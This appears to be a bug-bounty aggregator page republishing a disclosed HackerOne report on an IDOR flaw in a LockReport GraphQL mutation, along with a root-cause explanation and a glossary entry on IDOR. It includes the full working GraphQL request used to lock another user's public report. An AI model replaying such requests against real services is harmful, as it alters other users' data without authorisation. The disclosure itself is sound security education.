Skip to content
IDOR Disclosed report Beginner

IDOR: Authorization Bypass in LockReport Mutation for public reports

A GraphQL mutation let any authenticated user lock any public report by supplying its report ID, without proper authorisation checks.

0v3rw4tch Follow

Originally disclosed on HackerOne

Medium 6.1 View original
  • Triaged in 47 hours
  • Fixed in 6 days
  • Paid in 5 days
  • Disclosed after 6 days

Summary: Hello team, I can lock any public report.

Steps To Reproduce

  1. Using your account, make this request. Notice its successful. Report id is the id of any public report.
{"operationName":"LockReport","variables":{"product_area":"reports","product_feature":"inbox","reportId":"Z2lkOi8vaGFja2Vyb25lL1JlcG9ydC8yMTIyNjcx"},"query":"mutation LockReport($reportId: ID!) {\n   lockReport(\n    input: {report_id: $reportId}\n  ) {\n was_successful\n    errors {\n      edges {\n        node {\n          id\n          error_code\n          field\n          message\n          __typename\n        }\n        __typename\n      }\n      __typename\n    }\n    __typename\n  }\n}\n"}

POC report: https://hackerone.com/reports/2122671 (accidental, Stopped testing after that)

Impact

Lock any report

The original report as published on HackerOne, by 0v3rw4tch. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the LockReport GraphQL mutation did not verify that the requesting user had permission to lock the specified report, relying only on the report ID being valid.

Impact

An attacker could lock any public report.

What the attacker needed

A free account

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A report is a bug report on a bug bounty platform. The system failed to check whether the person sending the lock request had permission to lock that report, so anyone could lock any public report.

What is IDOR?

One user can read or change another user's data, usually by changing an identifier the server trusts without checking who is asking. One of the most paid bug classes on web programs.

More by 0v3rw4tch

View all

4 more disclosed reports, best first.

More from HackerOne

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Insecure direct object reference (IDOR)

The lesson behind this report.

One user can read or change another user's data, usually by changing an identifier the server trusts without checking who is asking. One of the most paid bug classes on web programs.